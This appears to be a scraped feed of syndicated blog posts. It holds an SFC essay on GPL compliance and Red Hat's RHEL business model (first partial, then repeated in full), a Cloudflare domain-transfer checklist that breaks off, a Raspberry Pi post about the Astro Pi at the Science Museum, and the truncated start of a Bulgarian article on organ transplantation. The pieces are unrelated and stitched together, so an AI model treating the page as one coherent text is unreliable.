Red Hat’s change to no longer publish complete, corresponding source
(CCS) for RHEL and the
prior discontinuation of CentOS Linux (which are related events, as
described below). We hope that this will serve as a comprehensive
document that discusses the history of Red Hat’s RHEL business model,
the related source code provisioning, and the GPL compliance issues with RHEL.

For approximately twenty years, Red Hat (now a fully owned subsidiary of
IBM) has experimented with building a business model for operating system deployment and
distribution that looks, feels, and acts like a proprietary one, but
nonetheless complies with the GPL and other standard copyleft
terms. Software rights activists,
including SFC, have spent decades talking to Red Hat and its
attorneys about how the Red Hat Enterprise Linux (RHEL) business model courts
disaster and is actively unfriendly to
community-oriented Free and Open Source Software (FOSS). These pleadings,
discussions, and encouragements have, as far as we can tell, been heard and
seriously listened to by key members of Red Hat’s legal and OSPO
departments, and even by key C-level executives, but they have ultimately been rejected
and ignored — sometimes even with a “fine, then sue us for GPL
violations” attitude. Activists have found this discussion
frustrating, but kept the nature and tenure of these discussions as an
“open secret” until now because we all had hoped that Red Hat’s behavior
would improve. Recent events show that the behavior has simply gotten worse, and is likely to get even
worse.

What Exactly Is the RHEL Business Model?

The most concise and pithy way to describe RHEL’s business model is:
“if you exercise your rights under the GPL, your money is no good
here”. Specifically, IBM’s Red Hat offers copies of RHEL to its
customers, and each copy comes with a support and automatic-update
subscription contract. As we understand it, this contract
clearly states
that the terms do not intend to contradict any rights to copy, modify,
redistribute and/or reinstall the software as many times and as many places
as the customer likes (see §1.4). Additionally, though, the contract indicates that
if the customer engages in these activities, that Red Hat reserves the
right to cancel that contract and make no further contracts with the
customer for support and update services. In essence, Red Hat requires their customers
to choose between (a) their software freedom and rights, and (b) remaining a Red Hat
customer. In some versions of these contracts that we have reviewed, Red
Hat even reserves the right to “Review” a customer (effectively a BSA-style audit) to examine how
many copies of RHEL are actually installed (see §10) — presumably for the
purpose of Red Hat getting the information they need to decide
whether to “fire” the customer.

Red Hat’s lawyers clearly take the position that this business model complies with the GPL (though we aren’t so sure), on grounds that that nothing in the GPL agreements requires an entity
keep a business relationship with any other entity. They have further argued that such business
relationships can be terminated based on any behaviors — including
exercising rights guaranteed by the GPL agreements. Whether that
analysis is correct is a matter of intense debate, and likely only a court
case that disputed this particular issue would yield a definitive answer
on whether that disagreeable behavior is permitted (or not) under the GPL agreements. Debates continue, even today,
in copyleft expert circles, whether this
model itself violates GPL. There is, however, no doubt that this
provision is not in the spirit of the GPL agreements. The RHEL business
model is unfriendly, captious, capricious, and cringe-worthy.

Furthermore, this RHEL
business model remains, to our knowledge, rather unique in the software
industry. IBM’s Red Hat definitely deserves credit for so carefully
constructing their business model such that it has spent most of the last
two decades in murky territory of “probably not violating the
GPL”.

Does The RHEL Business Model Violate the GPL Agreements?

Perhaps the biggest problem with a murky business model that skirts the
line of GPL compliance is that violations can and do happen — since
even a minor deviation from the business model clearly violates the GPL
agreements. Pre-IBM Red Hat deserves a certain amount of credit, as
SFC is aware of only two documented incidents of GPL violations that have
occurred since 2006 regarding the RHEL business model. We’ve decided to
share some general details of these violations for the purpose of
explaining where this business model can so easily cross the line.

In the first violation, a large Fortune 500 company (which we’ll
call Company A), who both used RHEL internally and also built
public-facing Linux-based products, decided to create a consumer-facing
product (which we’ll call Product P) based primarily on CentOS Linux,
but P included a few packages built from RHEL sources. Company A
did not seek nor ask for support or update services for this separate
Product P. Red Hat later became aware that Product P contained
some part of RHEL, and Red Hat demanded royalty payments for Product
P. Red Hat threatened to revoke the support and update
services on Company A‘s internal RHEL servers if such royalties were
not paid.

Since Company A was powerful and had good lawyers and savvy
business development staff, they did not acquiesce. Company A ultimately
continued (to our knowledge) on as a RHEL customer for their internal
servers and continued selling Product P without royalty payments. Nevertheless, a
demand for royalties for distribution is clearly a violation as that demand creates a
“further restriction” on the permissions granted by GPL. As
stated in GPLv3:

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License.

Red Hat tried to impose a further restriction in this situation, and therefore
violated the GPL. The violation was resolved since no royalty was paid
and Company A faced no consequences. SFC learned of
the incident later, and informed Red Hat that the past royalty demand was
a violation. Red Hat did not dispute nor agree that it was a violation, and did informally agree
such demands would not be made in future.

In another violation incident, we learned that Red Hat, in a specific
non-USA country, was requiring that any customer who lowered the number of
RHEL machines under service contract with Red Hat sign an
additional agreement. This additional agreement promised that the customer
had deleted every copy of RHEL in their entire organization other than the
copies of RHEL that were currently contracted for service with Red Hat.
Again, this is a “further restriction”. The GPL agreements
give everyone the unfettered right to make and keep as many copies of the
software as they like, and a distributor of GPL’d software may not require
a user to attest that they’ve deleted these legitimate, licensed copies of
third-party-licensed software under the GPL. SFC informed Red Hat’s legal department
of this violation, and we were assured that this additional agreement would no longer
be presented to any Red Hat customers in the future.

In both these situations, we at SFC were worried they were merely a
“tip of the proverbial iceberg”. For years, we have heard from
Red Hat customers who are truly confused. It’s common in the industry to
talk about RHEL “seat licenses”, and many software acquisition
specialists in the industry are not aware of the nuances of the RHEL
business model and do not understand their rights. We remain very
concerned that RHEL salespeople purposely confuse customers to sell more
“seat licenses”. It’s often led us to ask: “If a GPL
violation happens in the woods, and everyone involved doesn’t hear it, how
does anyone know that software rights have indeed been trampled upon in
those woods?”. As we do for as many GPL violation reports as we can, we zealously pursue RHEL-related GPL violations that
are reported to us, and if you’re aware of one, please
do email us at
<[email protected]> immediately. We fear that
be it through incompetence or malice, many RHEL salespeople and business
development professionals may regularly violate GPL and no one knows about
it. That said, the business model as described by IBM’s Red Hat
may well comply with the GPL — it’s just so murky that any tweak to
the model in any direction seems to definitely violate, in our experience.

Furthermore, Red Hat exploits the classic “caveat emptor”
approach — popular in many a shady business deal throughout history. While,
technically speaking, a careful reader of the GPL and the RHEL agreements
understands the bargain they’re making, we suspect most small businesses
just don’t have the FOSS licensing acumen and knowledge to truly understand
that deal.

Why Was an Independent CentOS So Important?

Until Red
Hat’s “aquisition” of CentOS in early 2014, CentOS
provided an excellent counterbalance to the problems with the RHEL
business model. Specifically, CentOS was a community-driven project,
with many volunteers, supported by some involvement from small
businesses, to re-create RHEL releases using the
CCS releases
made for RHEL. Our pre-2014 view was that CentOS was the “canary in
the murky coalmine” of the RHEL business. If CentOS seemed vibrant,
usable, and a viable alternative to RHEL for those who didn’t want to
purchase Red Hat’s updates and services, the community could rest easy.
Even if there were GPL violations by Red Hat on RHEL, CentOS’ vibrancy
assured that such violations were having only a minor negative impact on
the FOSS community around RHEL’s codebase.

Red Hat, however, apparently knew that this vibrant community was cutting
into their profits. Starting in 2013, Red Hat engaged in a series of actions
that increased their grip. First, they “acquired”
CentOS. This was initially couched as a cooperation agreement, but Red Hat
systematically made job offers that key CentOS volunteers couldn’t refuse,
acquired the small businesses who might ultimately build CentOS into a
product, and otherwise integrated CentOS into Red Hat’s own operations.

After IBM acquired Red Hat, the situation got worse. Having gotten rights
to the CentOS brand as part of the “aquisition”, Red Hat slowly
began to change what CentOS was. CentOS Linux quickly ceased to be a
check-and-balance on RHEL, and just became a testing ground for RHEL.
Then, in 2020, when most of us were distracted by the worst of the COVID-19
pandemic, Red Hat unilaterally terminated all CentOS Linux development. Later (during
the Delta variant portion of the pandemic in late 2021) Red Hat ended CentOS Linux entirely.
IBM’s Red Hat
then used the name “CentOS Stream” to refer to experimental
source packages related to RHEL. These were (and are) not actually the RHEL
source releases — rather, they appear to be primarily a testing
ground for what might appear in RHEL later.

Finally, Red Hat announced two days ago
that RHEL
CCS will no longer be publicly available in any way. Now, to be clear, the GPL agreements did not obligate Red Hat to make its
CCS publicly
available to everyone. This is a common misconception about GPL’s
requirements. While the details of CCS provisioning vary in the different
versions of the GPL agreements, the general principle is that CCS need to
be provided either (a) along with the binary distributions to those who
receive, or (b) to those who request pursuant to a written offer for
source. In a normal situation, with no mitigating factors, the fact that
a company moved from distributing CCS publicly to everyone to only giving
it to customers who received the binaries already would not raise
concerns.

In this situation, however, this completes what appears to be a
decade-long plan by Red Hat to maximize the level of difficulty of
those in the community who wish to “trust but verify” that RHEL
complies with the GPL agreements. Namely, Red Hat has badly thwarted
efforts by entities such
as Rocky
Linux
and Alma
Linux. These entities are de-facto the intellectual successors to
CentOS Linux project that Red Hat carefully dismantled over the last decade. These organizations
sought to build Linux-based distributions that mirrored RHEL
releases, and it is now unclear if they can do that effectively, since Red Hat will undoubtedly capriciously refuse to sell them exactly-one RHEL service and update “seat license” at a reasonable price. It appears that, as of this week, one must have at least that to get timely access to RHEL CCS.

What Should Those Who Care About Software Rights Do About RHEL?

Due to this ongoing bad behavior by IBM’s Red Hat, the situation has
become increasingly complex and difficult to face. No third party can
effectively monitor RHEL compliance with the GPL agreements, since
customers live in fear of losing their much-needed service contracts.
Red Hat’s legal department
has systematically refused SFC’s requests in recent years to set up some
form of monitoring by SFC. (For example, we asked to review the training
materials and documents that RHEL salespeople are given to convince
customers to buy RHEL, and Red Hat has not been willing to share these
materials with us.) Nevertheless, since SFC serves as the global watchdog for
GPL compliance, we welcome reports of RHEL-related violations.

We finally express our sadness that this long road has led the FOSS community to such a disappointing place. I
personally remember standing with Erik Troan in a Red Hat booth at a USENIX
conference in the late 1990s, and meeting Bob Young around the same time.
Both expressed how much they wanted to build a company that respected,
collaborated with, engaged with, and most of all treated as equals the wide
spectrum of individuals, hobbyists, and small businesses that make the
plurality of the FOSS community. We hope that the
modern Red Hat can find their way back to this mission under IBM’s control.

A step-by-step guide to transferring domains to Cloudflare

Post Syndicated from Ricky Robinett original http://blog.cloudflare.com/a-step-by-step-guide-to-transferring-domains-to-cloudflare/

A step-by-step guide to transferring domains to Cloudflare

A step-by-step guide to transferring domains to Cloudflare

Transferring your domains to a new registrar isn’t something you do every day, and getting any step of the process wrong could mean downtime and disruption. That’s why this Speed Week we’ve prepared a domain transfer checklist. We want to empower anyone to quickly transfer their domains to Cloudflare Registrar, without worrying about missing any steps along the way or being left with any unanswered questions.

Domain Transfer Checklist

Confirm eligibility

  • Confirm you want to use Cloudflare’s nameservers: We built our registrar specifically for customers who want to use other Cloudflare products. This means domains registered with Cloudflare can only use our nameservers. If your domain requires non-Cloudflare nameservers then we’re not the right registrar for you.
  • Confirm Cloudflare supports your domain’s TLD: You can view the full list of TLDs we currently support here. Note: We plan to support .dev and .app by mid-July 2023.
  • Confirm your domain is not a premium domain or internationalized domain name (IDNs): Cloudflare currently does not support premium domains or internationalized domain names (Unicode).
  • Confirm your domain hasn’t been registered or transferred in the past 60 days: ICANN rules prohibit a domain from being transferred if it has been registered or previously transferred within the last 60 days.
  • Confirm your WHOIS Registrant contact information hasn’t been updated in the past 60 days: ICANN rules also prohibit a domain from being transferred if the WHOIS Registrant contact information was modified in the past 60 days.

Before you transfer

  • Gather your credentials for your current registrar: Make sure you have your credentials for your current registrar. It’s possible you haven’t logged in for many years and you may have to reset your password.
  • Make note of your current DNS settings: When transferring your domain, Cloudflare will automatically scan your DNS records, but you’ll want to capture your current settings in case there are any issues.
  • Remove WHOIS privacy (if necessary): In most cases, domains may be transferred even if WHOIS privacy services have been enabled. However, some registrars may prohibit the transfer if the WHOIS privacy service has been enabled.
  • Disable DNSSEC: You can disable DNSSEC by removing the DS record at your current DNS host and disabling DNSSEC in the Cloudflare dashboard.
  • Renew your domain if up for renewal in the next 15 days: If your domain is up for renewal, you’ll need to renew it with your current registrar before initiating a transfer to Cloudflare.
  • Unlock the domain: Registrars include a lightweight safeguard to prevent unauthorized users from starting domain transfers – often called a registrar or domain lock. This lock prevents any other registrar from attempting to initiate a transfer. Only the registrant can enable or disable this lock, typically through the administration interface of the registrar.
  • Sign up for Cloudflare: If you don’t already have a Cloudflare account, you can sign up here.
  • Add your domain to Cloudflare: You can add a new domain to your Cloudflare account by following these instructions.
  • Add a valid credit card to your Cloudflare account: If you haven’t already added a payment method into your  Cloudflare dashboard billing profile, you’ll be prompted to add one when you add your domain.
  • Review DNS records at Cloudflare: Once you’ve added your domain, review the DNS records that Cloudflare automatically configured with what you have at your current registrar to make sure nothing was missed.
  • Change your DNS nameservers to Cloudflare: In order to transfer your domain, your nameservers will need to be set to Cloudflare.
  • (optional) Configure Cloudflare Email Routing: If you’re using email forwarding, ensure that you follow this guide to migrate to Cloudflare Email Routing.
  • Wait for your DNS changes to propagate: Registrars can take up to 24 hours to process nameserver updates. You will receive an email when Cloudflare has confirmed that these changes are in place. You can’t proceed with transferring your domain until this process is complete.

Initiating and confirming transfer process

  • Request an authorization code: Cloudflare needs to confirm with your old registrar that the transfer flow is authorized. To do that, your old registrar will provide an authorization code to you. This code is often referred to as an authorization code, auth code, authinfo code, or transfer code. You will need to input that code to complete your transfer to Cloudflare. We will use it to confirm the transfer is authentic.
  • Initiate your transfer to Cloudflare: Visit the Transfer Domains section of your Cloudflare dashboard. Here you’ll be presented with any domains available for transfer. If your domain isn’t showing, ensure you completed all the proceeding steps. If you have, review the list on this page to see if any apply to your domain.
  • Review the transfer price: When you transfer a domain, you are required by ICANN to pay to extend its registration by one year from the expiration date. You will not be billed at this step. Cloudflare will only bill your card when you input the auth code and confirm the contact information at the conclusion of your transfer request.
  • Input your authorization code: In the next page, input the authorization code for each domain you are transferring.
  • Confirm or input your contact information: In the final stage of the transfer process, input the contact information for your registration. Cloudflare Registrar redacts this information by default but is required to collect the authentic contact information for this registration.
  • Approve the transfer with Cloudflare: Once you have requested your transfer, Cloudflare will begin processing it, and send a Form of Authorization (FOA) email to the registrant, if the information is available in the public WHOIS database. The FOA is what authorizes the domain transfer.
  • Approve the transfer with your previous registrar: After this step, your previous registrar will also email you to confirm your request to transfer. Most registrars will include a link to confirm the transfer request. If you follow that link, you can accelerate the transfer operation. If you do not act on the email, the registrar can wait up to five days to process the transfer to Cloudflare. You may also be able to approve the transfer from within your current registrar dashboard.
  • Follow your transfer status in your Cloudflare dashboard: Your domain transfer status will be viewable under Account Home > Overview > Domain Registration for your domain.

After you transfer

Welcome home! An original Astro Pi computer back from space is now on display at the Science Museum

Post Syndicated from Claire Given original https://www.raspberrypi.org/blog/astro-pi-computer-back-from-space-is-now-on-display-at-the-science-museum/

After seven successful years on the International Space Station, 250 vertical miles above our planet, the original two Astro Pi computers that we sent to the ISS to help young people run their code in space have been returned to Earth. From today, one of these Astro Pi computers will be displayed in the Science Museum, London. You can visit it in the new Engineers Gallery, which is dedicated to world-changing engineering innovations and the diverse and fascinating range of people behind them.

Astro Pi Izzy at the Science Museum in London.

A challenge to inspire young people about space and computing

The original Astro Pis, nicknamed Izzy and Ed, have played a major part in feeding tens of thousands of young people’s understanding and passion for science, mathematics, engineering, computing, and coding. In their seven years on the International Space Station (ISS), Izzy and Ed had the job of running over 70,000 programs created by young people as part of the annual Astro Pi Challenge.

Nicki Ashworth, 21, took part in the first-ever Astro Pi challenge after hearing about the opportunity at a science fair: “I thought it sounded like an interesting project, and good practice for my programming skills. I was young and had no idea of the extent of the project and how much it would influence my future.” 

Like many young people who have participated in the Astro Pi Challenge, Nicki credits the Astro Pi Challenge as an inspiration to learn more about space and programming, and to decide on a career path: “My experience with Astro Pi definitely helped to shape my future choices. I’m currently in my third year of a Mechanical Engineering degree at University of Southampton, specialising in Computational Engineering and Design. I’ve always loved programming, which is why I took part in the Astro Pi competition, but it led to a fascination with space. This encouraged me to look at engineering as a future, and led me to where I am today!”

Matthias catching Astro Pis in microgravity.

In the beginning…

It all started in 2014, when we started collaborating with organisations including the UK Space Agency and European Space Agency (ESA) to fly two Astro Pi computers to the ISS for educational activities during the six-month Principia mission of British ESA astronaut Tim Peake.

The Astro Pi computers each consist of a Raspberry Pi computer integrated with a digital camera and an add-on board filled with environmental sensors, all enclosed in a protective aluminium flight case.

Commander Tim Peake, Britain’s first visitor to the ISS, accompanied the two first Astro Pi computers on the ISS. He used them to run experiments imagined, designed, and coded by school-age young people across the UK. 

We held a competition in UK schools and coding clubs to invite young people to create experiments that could be run on the Astro Pis. Students conceived experiments and coded them in Python; we tested their Python programs and eventually picked seven to run on Izzy and Ed on the ISS.

The students’ experiments ranged from a simple but beautiful program to display the flag of the country over which the ISS was flying at a given time, to a reaction-time test for Tim Peake to measure his changing abilities across the six-month mission. The measurements from all the experiments were downloaded to Earth and analysed by the students.

“I still feel incredibly honoured to have competed in the very first [Astro Pi Challenge],” says Aaron Chamberlain, 18, who was 11 years old when he took part in the first-ever Astro Pi Challenge in 2015. “The experience was incredible and really cemented my enthusiasm for all things computing and coding. Finally looking at the photos the Raspberry Pi had taken of the astronauts floating 400 km above us was a feeling of awe that I will never forget.”

The next year, 2016, we expanded our partnership with ESA Education to be able to open up Astro Pi to young people across ESA Member states. The European Astro Pi Challenge has been going from strength to strength each year since, inspiring young people and adult mentors alike.

A young person holds up her Astro Pi Mission Zero certificate.

And today…

In 2021 we decided it was time to retire Izzy and Ed and replace them with upgraded Astro Pi computers with plenty of new and improved hardware, including a Raspberry Pi 4 Model B with 8 GB RAM. 

Dave Honess, STEM Didactics Expert at the European Space Agency, was engineering lead at the Foundation for the first Astro Pi Challenge, and the return of the original hardware is a special event and moment of reflection for him: “It was a strange experience to open the box and hold the original Astro Pis again after all that time and distance they have travelled — literally billions of miles. Even though their mission is over, we will continue to learn from them with a tear-down analysis to find out if they have been affected by their time in space. Since Principia, I have watched the European Astro Pi Challenge grow with pride year on year, but I still feel very fortunate to have been there at the beginning.”

Thanks to the upgraded hardware, we are able to continue to grow the Astro Pi Challenge in collaboration with ESA Education. And each year it’s so exciting to see the creative and ingenious programs tens of thousands of young people from across Europe send us; 24,850 young people took part in the Challenge in the 2022/2023 cycle.

But how have Astro Pis Izzy and Ed fared in space over these seven years? Jonathan Bell, Principal Software Engineer at Raspberry Pi Limited, had a chance to find out first-hand: “I was lucky enough to have a look inside the returned Astro Pis. I was looking for the cosmetic effects of the unit being on the ISS for so long. On the inside they still look as pristine as when I assembled them! Barely a speck of dust on the internal boards, nor any signs that the external interface ports were worn from their years of use. A few dings and scrapes on the anodised exterior were all that I could see — and a missing joystick cap (as it turns out, hot-melt glue isn’t a permanent adhesive…). It was great to see that they still worked! It made me feel proud for what the team and the Astro Pi programme has achieved over the years. It’s good to have Izzy and Ed back!”

Astro Pi MK II hardware.

Visit the Science Museum to see an Astro Pi for yourself

The new Engineers Gallery in the Science Museum opens today and is free to visit. Astro Pi computer Izzy is among the amazing exhibits. Learn more at: sciencemuseum.org.uk/engineers  

To find out more about the Astro Pi Challenge and how to get involved with your kids at home, your school, or your STEM or coding club, visit astro-pi.org. 

The next round of the Challenge starts in September — sign up for news to be the first to hear when we launch it.

The post Welcome home! An original Astro Pi computer back from space is now on display at the Science Museum appeared first on Raspberry Pi Foundation.

A Comprehensive Analysis of the GPL Issues With the Red Hat Enterprise Linux (RHEL) Business Model

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2023/06/23/rhel-red-hat-gpl.html

[ This is
a crosspost
from my professional blog at Software Freedom Conservancy
(SFC). I encourage you
to use
that copy of the post as the canonical linkage for this essay — I
crossposted here merely for posterity and to reach a wider
audience. ]

This article was originally published primarily as a response
to IBM’s
Red Hat’s change to no longer publish complete, corresponding source
(CCS) for RHEL and the
prior discontinuation of CentOS Linux (which are related events, as
described below). We hope that this will serve as a comprehensive
document that discusses the history of Red Hat’s RHEL business model,
the related source code provisioning, and the GPL compliance issues with RHEL.

For approximately twenty years, Red Hat (now a fully owned subsidiary of
IBM) has experimented with building a business model for operating system deployment and
distribution that looks, feels, and acts like a proprietary one, but
nonetheless complies with the GPL and other standard copyleft
terms. Software rights activists,
including SFC, have spent decades talking to Red Hat and its
attorneys about how the Red Hat Enterprise Linux (RHEL) business model courts
disaster and is actively unfriendly to
community-oriented Free and Open Source Software (FOSS). These pleadings,
discussions, and encouragements have, as far as we can tell, been heard and
seriously listened to by key members of Red Hat’s legal and OSPO
departments, and even by key C-level executives, but they have ultimately been rejected
and ignored — sometimes even with a “fine, then sue us for GPL
violations” attitude. Activists have found this discussion
frustrating, but kept the nature and tenure of these discussions as an
“open secret” until now because we all had hoped that Red Hat’s behavior
would improve. Recent events show that the behavior has simply gotten worse, and is likely to get even
worse.

What Exactly Is the RHEL Business Model?

The most concise and pithy way to describe RHEL’s business model is:
“if you exercise your rights under the GPL, your money is no good
here”. Specifically, IBM’s Red Hat offers copies of RHEL to its
customers, and each copy comes with a support and automatic-update
subscription contract. As we understand it, this contract
clearly states
that the terms do not intend to contradict any rights to copy, modify,
redistribute and/or reinstall the software as many times and as many places
as the customer likes (see §1.4). Additionally, though, the contract indicates that
if the customer engages in these activities, that Red Hat reserves the
right to cancel that contract and make no further contracts with the
customer for support and update services. In essence, Red Hat requires their customers
to choose between (a) their software freedom and rights, and (b) remaining a Red Hat
customer. In some versions of these contracts that we have reviewed, Red
Hat even reserves the right to “Review” a customer (effectively a BSA-style audit) to examine how
many copies of RHEL are actually installed (see §10) — presumably for the
purpose of Red Hat getting the information they need to decide
whether to “fire” the customer.

Red Hat’s lawyers clearly take the position that this business model complies with the GPL (though we aren’t so sure), on grounds that that nothing in the GPL agreements requires an entity
keep a business relationship with any other entity. They have further argued that such business
relationships can be terminated based on any behaviors — including
exercising rights guaranteed by the GPL agreements. Whether that
analysis is correct is a matter of intense debate, and likely only a court
case that disputed this particular issue would yield a definitive answer
on whether that disagreeable behavior is permitted (or not) under the GPL agreements. Debates continue, even today,
in copyleft expert circles, whether this
model itself violates GPL. There is, however, no doubt that this
provision is not in the spirit of the GPL agreements. The RHEL business
model is unfriendly, captious, capricious, and cringe-worthy.

Furthermore, this RHEL
business model remains, to our knowledge, rather unique in the software
industry. IBM’s Red Hat definitely deserves credit for so carefully
constructing their business model such that it has spent most of the last
two decades in murky territory of “probably not violating the
GPL”.

Does The RHEL Business Model Violate the GPL Agreements?

Perhaps the biggest problem with a murky business model that skirts the
line of GPL compliance is that violations can and do happen — since
even a minor deviation from the business model clearly violates the GPL
agreements. Pre-IBM Red Hat deserves a certain amount of credit, as
SFC is aware of only two documented incidents of GPL violations that have
occurred since 2006 regarding the RHEL business model. We’ve decided to
share some general details of these violations for the purpose of
explaining where this business model can so easily cross the line.

In the first violation, a large Fortune 500 company (which we’ll
call Company A), who both used RHEL internally and also built
public-facing Linux-based products, decided to create a consumer-facing
product (which we’ll call Product P) based primarily on CentOS Linux,
but P included a few packages built from RHEL sources. Company A
did not seek nor ask for support or update services for this separate
Product P. Red Hat later became aware that Product P contained
some part of RHEL, and Red Hat demanded royalty payments for Product
P. Red Hat threatened to revoke the support and update
services on Company A‘s internal RHEL servers if such royalties were
not paid.

Since Company A was powerful and had good lawyers and savvy
business development staff, they did not acquiesce. Company A ultimately
continued (to our knowledge) on as a RHEL customer for their internal
servers and continued selling Product P without royalty payments. Nevertheless, a
demand for royalties for distribution is clearly a violation as that demand creates a
“further restriction” on the permissions granted by GPL. As
stated in GPLv3:

You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License.

Red Hat tried to impose a further restriction in this situation, and therefore
violated the GPL. The violation was resolved since no royalty was paid
and Company A faced no consequences. SFC learned of
the incident later, and informed Red Hat that the past royalty demand was
a violation. Red Hat did not dispute nor agree that it was a violation, and did informally agree
such demands would not be made in future.

In another violation incident, we learned that Red Hat, in a specific
non-USA country, was requiring that any customer who lowered the number of
RHEL machines under service contract with Red Hat sign an
additional agreement. This additional agreement promised that the customer
had deleted every copy of RHEL in their entire organization other than the
copies of RHEL that were currently contracted for service with Red Hat.
Again, this is a “further restriction”. The GPL agreements
give everyone the unfettered right to make and keep as many copies of the
software as they like, and a distributor of GPL’d software may not require
a user to attest that they’ve deleted these legitimate, licensed copies of
third-party-licensed software under the GPL. SFC informed Red Hat’s legal department
of this violation, and we were assured that this additional agreement would no longer
be presented to any Red Hat customers in the future.

In both these situations, we at SFC were worried they were merely a
“tip of the proverbial iceberg”. For years, we have heard from
Red Hat customers who are truly confused. It’s common in the industry to
talk about RHEL “seat licenses”, and many software acquisition
specialists in the industry are not aware of the nuances of the RHEL
business model and do not understand their rights. We remain very
concerned that RHEL salespeople purposely confuse customers to sell more
“seat licenses”. It’s often led us to ask: “If a GPL
violation happens in the woods, and everyone involved doesn’t hear it, how
does anyone know that software rights have indeed been trampled upon in
those woods?”. As we do for as many GPL violation reports as we can, we zealously pursue RHEL-related GPL violations that
are reported to us, and if you’re aware of one, please
do email us at
<[email protected]> immediately. We fear that
be it through incompetence or malice, many RHEL salespeople and business
development professionals may regularly violate GPL and no one knows about
it. That said, the business model as described by IBM’s Red Hat
may well comply with the GPL — it’s just so murky that any tweak to
the model in any direction seems to definitely violate, in our experience.

Furthermore, Red Hat exploits the classic “caveat emptor”
approach — popular in many a shady business deal throughout history. While,
technically speaking, a careful reader of the GPL and the RHEL agreements
understands the bargain they’re making, we suspect most small businesses
just don’t have the FOSS licensing acumen and knowledge to truly understand
that deal.

Why Was an Independent CentOS So Important?

Until Red
Hat’s “aquisition” of CentOS in early 2014, CentOS
provided an excellent counterbalance to the problems with the RHEL
business model. Specifically, CentOS was a community-driven project,
with many volunteers, supported by some involvement from small
businesses, to re-create RHEL releases using the
CCS releases
made for RHEL. Our pre-2014 view was that CentOS was the “canary in
the murky coalmine” of the RHEL business. If CentOS seemed vibrant,
usable, and a viable alternative to RHEL for those who didn’t want to
purchase Red Hat’s updates and services, the community could rest easy.
Even if there were GPL violations by Red Hat on RHEL, CentOS’ vibrancy
assured that such violations were having only a minor negative impact on
the FOSS community around RHEL’s codebase.

Red Hat, however, apparently knew that this vibrant community was cutting
into their profits. Starting in 2013, Red Hat engaged in a series of actions
that increased their grip. First, they “acquired”
CentOS. This was initially couched as a cooperation agreement, but Red Hat
systematically made job offers that key CentOS volunteers couldn’t refuse,
acquired the small businesses who might ultimately build CentOS into a
product, and otherwise integrated CentOS into Red Hat’s own operations.

After IBM acquired Red Hat, the situation got worse. Having gotten rights
to the CentOS brand as part of the “aquisition”, Red Hat slowly
began to change what CentOS was. CentOS Linux quickly ceased to be a
check-and-balance on RHEL, and just became a testing ground for RHEL.
Then, in 2020, when most of us were distracted by the worst of the COVID-19
pandemic, Red Hat unilaterally terminated all CentOS Linux development. Later (during
the Delta variant portion of the pandemic in late 2021) Red Hat ended CentOS Linux entirely.
IBM’s Red Hat
then used the name “CentOS Stream” to refer to experimental
source packages related to RHEL. These were (and are) not actually the RHEL
source releases — rather, they appear to be primarily a testing
ground for what might appear in RHEL later.

Finally, Red Hat announced two days ago
that RHEL
CCS will no longer be publicly available in any way. Now, to be clear, the GPL agreements did not obligate Red Hat to make its
CCS publicly
available to everyone. This is a common misconception about GPL’s
requirements. While the details of CCS provisioning vary in the different
versions of the GPL agreements, the general principle is that CCS need to
be provided either (a) along with the binary distributions to those who
receive, or (b) to those who request pursuant to a written offer for
source. In a normal situation, with no mitigating factors, the fact that
a company moved from distributing CCS publicly to everyone to only giving
it to customers who received the binaries already would not raise
concerns.

In this situation, however, this completes what appears to be a
decade-long plan by Red Hat to maximize the level of difficulty of
those in the community who wish to “trust but verify” that RHEL
complies with the GPL agreements. Namely, Red Hat has badly thwarted
efforts by entities such
as Rocky
Linux
and Alma
Linux. These entities are de-facto the intellectual successors to
CentOS Linux project that Red Hat carefully dismantled over the last decade. These organizations
sought to build Linux-based distributions that mirrored RHEL
releases, and it is now unclear if they can do that effectively, since Red Hat will undoubtedly capriciously refuse to sell them exactly-one RHEL service and update “seat license” at a reasonable price. It appears that, as of this week, one must have at least that to get timely access to RHEL CCS.

What Should Those Who Care About Software Rights Do About RHEL?

Due to this ongoing bad behavior by IBM’s Red Hat, the situation has
become increasingly complex and difficult to face. No third party can
effectively monitor RHEL compliance with the GPL agreements, since
customers live in fear of losing their much-needed service contracts.
Red Hat’s legal department
has systematically refused SFC’s requests in recent years to set up some
form of monitoring by SFC. (For example, we asked to review the training
materials and documents that RHEL salespeople are given to convince
customers to buy RHEL, and Red Hat has not been willing to share these
materials with us.) Nevertheless, since SFC serves as the global watchdog for
GPL compliance, we welcome reports of RHEL-related violations.

We finally express our sadness that this long road has led the FOSS community to such a disappointing place. I
personally remember standing with Erik Troan in a Red Hat booth at a USENIX
conference in the late 1990s, and meeting Bob Young around the same time.
Both expressed how much they wanted to build a company that respected,
collaborated with, engaged with, and most of all treated as equals the wide
spectrum of individuals, hobbyists, and small businesses that make the
plurality of the FOSS community. We hope that the
modern Red Hat can find their way back to this mission under IBM’s control.

Ще разчитаме ли на генномодифицирани органи от животни за трансплантации при хора?

Post Syndicated from original https://www.toest.bg/shte-razchitame-li-na-gennomodifitsirani-organi/

Ще разчитаме ли на генномодифицирани органи от животни за трансплантации при хора?

Трансплантацията на органи е едно от най-значимите постижения в историята на медицината и често е единственият източник на надежда за пациентите, страдащи от органна недостатъчност.

Присадка, трансплантирана в тялото на същия индивид, се нарича автоложна трансплантация. Например кожа от една част на тялото на пациента се присажда в друга част. Друг пример е съхранението на стволови клетки преди химио- или лъчетерапия. След терапията хемопоетичните (кръвообразуващите) стволови клетки се връщат в тялото на пациента.

Присадка, трансплантирана от един генетично идентичен индивид в друг (еднояйчни близнаци), се нарича сингенна трансплантация. Първата успешна органна трансплантация е сингенна трансплантация на бъбрек през 1954 г. Автоложната и сингенната трансплантация не водят до имунологични усложнения. Трансплантация на присадка между два генетично различни индивида от един и същи вид се нарича алогенна, а между два различни биологични вида – ксеногенна.

Кои човешки органи могат да бъдат присадени? Здравото сърце от донор с мозъчна смърт (т.нар. трупен донор) се използва за замяна на увреденото сърце на пациент. Един бял дроб или и двата от трупен донор могат да заменят част или целите бели дробове на нуждаещ се човек. „Болният“ черен дроб на пациент се заменя с част от черен дроб на здрав човек. Донорският черен дроб може да бъде от трупен донор или от член на семейството, който реши да дари част от своя. Трансплантация на панкреас най-често се извършва при пациенти с диабет тип 1, при които функциите на органа са нарушени.

